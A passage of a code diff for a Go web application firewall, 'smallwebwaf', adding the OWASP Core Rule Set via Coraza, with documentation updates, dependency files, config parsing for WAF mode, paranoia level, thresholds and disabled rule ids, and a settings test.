  Core Rule Set, whatever their score, by `mode`, `SWWAF_WAF_MODE`, and
  `rule_id`, a series for each rule that has matched.
 - `smallwebwaf_country_requests_total`,
  `smallwebwaf_country_request_bytes_total`,
  `smallwebwaf_country_response_bytes_total`, and
@@ -1542,8 +1634,7 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets
 - Go's own `go_` metrics and the process's `process_` metrics.
 The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request
-log") are not counted. The metrics of the features still to come, such as the
+log") are not counted.
 Core Rule Set, come with them.
 ## Admin endpoints
@@ -2009,12 +2100,12 @@ addresses sends, so that one client costs at most one check every
 Only a client whose history counts an offence is checked, so that the checks are
 spent on suspects: so far, one that has broken a rate limit or a byte limit,
-matched a ban rule, or had a request refused by a block rule. A client dropped
+matched a ban rule, or had a request refused by a block rule or the Core Rule
-from the table of clients loses its history, and with it its offences. A client
+Set. A client dropped from the table of clients loses its history, and with it
-is checked in the background, at its first request after its offence that
+its offences. A client is checked in the background, at its first request after
-reaches the check: no request waits, a request refused under its ban is not
+its offence that reaches the check: no request waits, a request refused under
-checked, and the request that has it checked, and any other from it before the
+its ban is not checked, and the request that has it checked, and any other from
-answer comes, goes on as from a client without a score.
+it before the answer comes, goes on as from a client without a score.
 A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE`, 75 by default, is a hit, and
 `SWWAF_REPUTATION_ACTION` says what is done with its client, as for a DNSBL
@@ -2116,15 +2207,16 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with
  a ban, for the country lists, for a blocklist, for the CrowdSec decision list,
  which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for
  a rate limit, which bans the client, for a trap path, which bans the client,
-  for a `block` or `ban` rule, the latter banning the client, and for an
+  for a `block` or `ban` rule, the latter banning the client, for a Core Rule
-  announced body over the size limit; in `observe` mode, only for the size
+  Set match in `block` mode, and for an announced body over the size limit; in
-  limit, with what it would have refused for noted in the log line. A request
+  `observe` mode, only for the size limit, with what it would have refused for
-  under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin`
+  noted in the log line. A request under `/_smallwebwaf/` that `check` lets
-  instead of reaching the app. Once the answer to a request passed to the app
+  through is answered by `answerAdmin` instead of reaching the app. Once the
-  has ended, `countBytes` counts its bytes for the byte limits, and once any
+  answer to a request passed to the app has ended, `countBytes` counts its bytes
-  request but the health check has ended, `countRefusal` counts it for the error
+  for the byte limits, and once any request but the health check has ended,
-  burst if it was refused after a rule file match or a trap path or for its
+  `countRefusal` counts it for the error burst if it was refused after a rule
-  token, and `countAnomalies` counts it for the anomaly thresholds.
+  file match, a trap path or a Core Rule Set match or for its token, and
  `countAnomalies` counts it for the anomaly thresholds.
 - `internal/metrics`: the metrics, counted as the other parts tell it what
  happened, and served in the Prometheus text format.
 - `internal/bans`: the ban ledger: each netblock's bans with their notes, how
@@ -2132,6 +2224,9 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with
  and which ban `smallwebwaf` made is dropped when `SWWAF_MAX_BANS` are held.
 - `internal/rules`: reads the rule files at start and again as they change, and
  tells which of their rules a request matches.
 - `internal/waf`: the Core Rule Set with the six changes, as Coraza's own
  directives, and what it finds in a request's method, URL and headers: the
  rules that matched and the anomaly score.
 - `internal/lookup`: looks up each client's AS number and country through GeoJS,
  keeps the answers, and hands each new one to the proxy, which adds it to the
  client's history and to the notes of its bans; or in the lookup database,
@@ -2181,8 +2276,10 @@ the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang`
 keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells
 `smallwebwaf` when a state file or a rule file is saved, or the lookup database
 replaced, and `github.com/oschwald/maxminddb-golang/v2` reads the lookup
-database, which the tests write with `github.com/maxmind/mmdbwriter`. The
+database, which the tests write with `github.com/maxmind/mmdbwriter`, and
-country codes are the list in `internal/config/config.go`.
+`github.com/corazawaf/coraza/v3` runs the Core Rule Set 4.25.0, which
 `github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0` carries. The country
 codes are the list in `internal/config/config.go`.
 ## Entrypoints
@@ -3,6 +3,8 @@ module sneak.berlin/go/smallwebwaf
 go 1.26.0
 require (
 	github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
 	github.com/corazawaf/coraza/v3 v3.8.1
 	github.com/fsnotify/fsnotify v1.10.1
 	github.com/hashicorp/golang-lru/v2 v2.0.7
 	github.com/maxmind/mmdbwriter v1.2.0
@@ -13,12 +15,29 @@ require (
 require (
 	github.com/beorn7/perks v1.0.1 // indirect
 	github.com/cespare/xxhash/v2 v2.3.0 // indirect
 	github.com/corazawaf/libinjection-go v0.3.3 // indirect
 	github.com/goccy/go-json v0.10.5 // indirect
 	github.com/goccy/go-yaml v1.19.2 // indirect
 	github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
 	github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
 	github.com/kaptinlin/go-i18n v0.1.4 // indirect
 	github.com/kaptinlin/jsonschema v0.4.6 // indirect
 	github.com/kylelemons/godebug v1.1.0 // indirect
 	github.com/magefile/mage v1.17.0 // indirect
 	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
 	github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
 	github.com/prometheus/client_model v0.6.2 // indirect
 	github.com/prometheus/common v0.70.1 // indirect
 	github.com/prometheus/procfs v0.21.1 // indirect
 	github.com/tidwall/gjson v1.18.0 // indirect
 	github.com/tidwall/match v1.1.1 // indirect
 	github.com/tidwall/pretty v1.2.1 // indirect
 	github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
 	go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
 	golang.org/x/net v0.58.0 // indirect
 	golang.org/x/sync v0.23.0 // indirect
 	golang.org/x/sys v0.48.0 // indirect
 	golang.org/x/text v0.41.0 // indirect
 	google.golang.org/protobuf v1.36.11 // indirect
 	rsc.io/binaryregexp v0.2.0 // indirect
 )
@@ -2,22 +2,54 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
 github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
 github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
 github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
 github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
 github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
 github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
 github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
 github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
 github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
 github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
 github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
 github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
 github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
 github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
 github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
 github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
 github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
 github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
 github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
 github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
 github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
 github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
 github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
 github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
 github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
 github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
 github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
 github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
 github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
 github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
 github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
 github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
 github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
 github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
 github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
 github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
 github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
 github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
 github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
 github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
 github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
 github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
 github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
 github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
 github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
 github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
 github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
 github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
 github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
 github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
 github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
 github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -28,6 +60,15 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
 github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
 github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
 github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
 github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
 github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
 github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
 github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
 github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
 github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
 github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
 github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
 github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
 go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
 go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
 go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -36,7 +77,21 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
 go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
 go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
 go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
 golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
 golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
 golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
 golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
 golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
 golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
 golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
 golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
 golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
 golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
 golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
 golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
 google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
 google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
@@ -44,7 +44,9 @@ const (
 	// EventAnomaly is a count of requests or bytes over an anomaly
 	// threshold.
 	EventAnomaly = "anomaly"
-	// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
+	// EventWAFBlock is a request the Core Rule Set scored at or over
 	// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
 	// detect mode.
 	EventWAFBlock = "waf_block"
 	// EventReputationHit is a request whose client a blocklist, the
 	// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
@@ -42,8 +42,8 @@ type Config struct {
 	InstanceName string
 	// Observe is true in observe mode, when SWWAF_MODE is observe rather
 	// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
-	// lists, a rate limit or a rule would refuse is passed to the app
+	// lists, a rate limit, a rule or the Core Rule Set would refuse is
-	// instead, and no ban is made.
+	// passed to the app instead, and no ban is made.
 	Observe bool
 	// TrustedProxies are the netblocks whose X-Forwarded-For is
 	// believed (SWWAF_TRUSTED_PROXIES).
@@ -239,12 +239,25 @@ type Config struct {
 	// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
 	RulesDir     string
 	RulesEnabled bool
 	// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
 	// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
 	// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
 	// WAFAnomalyThreshold the anomaly score at which a request is a match
 	// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
 	// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES), and
 	// WAFExemptPaths the path prefixes it does not inspect
 	// (SWWAF_WAF_EXEMPT_PATHS).
 	WAFMode             string
 	WAFParanoiaLevel    int
 	WAFAnomalyThreshold int
 	WAFDisabledRules    []int
 	WAFExemptPaths      []string
 	// TrapPaths are the paths a request for which is a clear sign of
 	// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
 	TrapPaths []string
 	// ErrorBurstThreshold is the most requests of a client within a minute
-	// that smallwebwaf may refuse after a rule file match or for a missing
+	// that smallwebwaf may refuse after a rule file or Core Rule Set match
-	// or wrong token; one more breaks a limit
+	// or for a missing or wrong token; one more breaks a limit
 	// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
 	ErrorBurstThreshold int64
 	// LogRemoteURL is where every line on stdout is also sent
@@ -310,6 +323,16 @@ type Config struct {
 // off.
 const off = "off"
 // The values of SWWAF_WAF_MODE.
 const (
 	// WAFModeOff runs no request through the Core Rule Set.
 	WAFModeOff = off
 	// WAFModeDetect logs and alerts a match, and refuses nothing.
 	WAFModeDetect = "detect"
 	// WAFModeBlock refuses a match with 403.
 	WAFModeBlock = "block"
 )
 // fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
 // lookup database, the file SWWAF_LOOKUP_DB_PATH names.
 const fileSource = "file"
@@ -327,6 +350,8 @@ const (
 	minIPv6GroupPrefix = 32
 	// minTokenLength is the fewest characters a token may have.
 	minTokenLength = 32
 	// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
 	maxParanoiaLevel = 4
 	// masked is what the log shows for a token that is set, and in place of
 	// a secret in another setting.
 	masked = "********"
@@ -388,6 +413,10 @@ var (
 		"is not a path prefix starting with /, such as /assets/")
 	errNotTrapPath = errors.New(
 		"is not a path starting with / and without a ?, such as /wp-login.php")
 	errNotWAFMode       = errors.New("is not off, detect or block")
 	errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
 	errNotRuleID        = errors.New(
 		"is not the id of a Core Rule Set rule, a whole number such as 942100")
 	errNotBoolean      = errors.New("is not true or false")
 	errNotLogRemoteURL = errors.New(
 		"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -509,12 +538,18 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
 		StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
 		LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
 			"accept,accept-language,accept-encoding,content-type,origin,range"),
-		LogLevel:             env.logLevel("SWWAF_LOG_LEVEL", "info"),
+		LogLevel:            env.logLevel("SWWAF_LOG_LEVEL", "info"),
-		AdminToken:           env.token("SWWAF_ADMIN_TOKEN"),
+		AdminToken:          env.token("SWWAF_ADMIN_TOKEN"),
-		MetricsToken:         env.token("SWWAF_METRICS_TOKEN"),
+		MetricsToken:        env.token("SWWAF_METRICS_TOKEN"),
-		MetricsTopN:          env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
+		MetricsTopN:         env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
-		RulesDir:             env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
+		RulesDir:            env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
-		RulesEnabled:         env.boolean("SWWAF_RULES_ENABLED", "true"),
+		RulesEnabled:        env.boolean("SWWAF_RULES_ENABLED", "true"),
 		WAFMode:             env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
 		WAFParanoiaLevel:    env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
 		WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
 		WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
 			"920340,920420,920440,920640,930130,930140"),
 		WAFExemptPaths:       env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
 		TrapPaths:            env.trapPaths("SWWAF_TRAP_PATHS"),
 		ErrorBurstThreshold:  env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
 		LogRemoteURL:         env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
@@ -765,6 +800,39 @@ func (e *environment) trapPaths(name string) []string {
 	return paths
 }
 // wafMode reads the setting that is what the Core Rule Set does: off,
 // detect or block.
 func (e *environment) wafMode(name, defaultValue string) string {
 	mode := e.value(name, defaultValue)
 	if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
 		e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
 	}
 	return mode
 }
 // paranoiaLevel reads the setting that is the Core Rule Set's paranoia
 // level, from 1 to 4.
 func (e *environment) paranoiaLevel(name, defaultValue string) int {
 	value := e.value(name, defaultValue)
 	level, err := strconv.Atoi(value)
 	if err != nil || level < 1 || level > maxParanoiaLevel {
 		e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
 	}
 	return level
 }
 // ruleIDs reads the setting that is a list of the ids of Core Rule Set
 // rules.
 func (e *environment) ruleIDs(name, defaultValue string) []int {
 	ids, err := parseRuleIDs(e.value(name, defaultValue))
 	e.check(name, err)
 	return ids
 }
 // countries reads a setting that is a list of countries.
 func (e *environment) countries(name, defaultValue string) []string {
 	countries, err := parseCountries(e.value(name, defaultValue))
@@ -1575,6 +1643,26 @@ func parseTrapPaths(value string) ([]string, error) {
 	return paths, nil
 }
 // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
 // rules, each a whole number above zero.
 func parseRuleIDs(value string) ([]int, error) {
 	items, err := parseList(value)
 	if err != nil {
 		return nil, err
 	}
 	ids := make([]int, len(items))
 	for i, item := range items {
 		ids[i], err = strconv.Atoi(item)
 		if err != nil || ids[i] <= 0 {
 			return nil, fmt.Errorf("%q %w", item, errNotRuleID)
 		}
 	}
 	return ids, nil
 }
 // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
 // the code in common use for Kosovo. golang.org/x/text/language cannot
 // check them: it also takes withdrawn codes such as su, and reserved ones
@@ -91,6 +91,11 @@ const (
 	logLevel                = "SWWAF_LOG_LEVEL"
 	rulesDir                = "SWWAF_RULES_DIR"
 	rulesEnabled            = "SWWAF_RULES_ENABLED"
 	wafMode                 = "SWWAF_WAF_MODE"
 	wafParanoiaLevel        = "SWWAF_WAF_PARANOIA_LEVEL"
 	wafAnomalyThreshold     = "SWWAF_WAF_ANOMALY_THRESHOLD"
 	wafDisabledRules        = "SWWAF_WAF_DISABLED_RULES"
 	wafExemptPaths          = "SWWAF_WAF_EXEMPT_PATHS"
 	trapPaths               = "SWWAF_TRAP_PATHS"
 	errorBurstThreshold     = "SWWAF_ERROR_BURST_THRESHOLD"
 	logRemoteURL            = "SWWAF_LOG_REMOTE_URL"
@@ -170,6 +175,9 @@ const (
 // defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
 const defaultReputationCacheTTL = "24h"
 // defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
 const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
 // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
 const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
 	"content-type,origin,range"
@@ -553,6 +561,95 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
 	}
 }
 func TestCoreRuleSetSettings(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		env  environment
 		want config.Config
 	}{
 		{
 			environment{},
 			config.Config{
 				WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
 				WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
 				WAFExemptPaths:   []string{},
 			},
 		},
 		{
 			environment{
 				wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
 				wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
 			},
 			config.Config{
 				WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
 				WAFDisabledRules: []int{942100, 920350},
 				WAFExemptPaths:   []string{"/api/", "/static/"},
 			},
 		},
 		{
 			environment{wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: ""},
 			config.Config{
 				WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
 				WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
 			},
 		},
 	} {
 		cfg := fromEnvironment(t, tc.env)
 		got := config.Config{
 			WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
 			WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
 			WAFDisabledRules:    cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
 		}
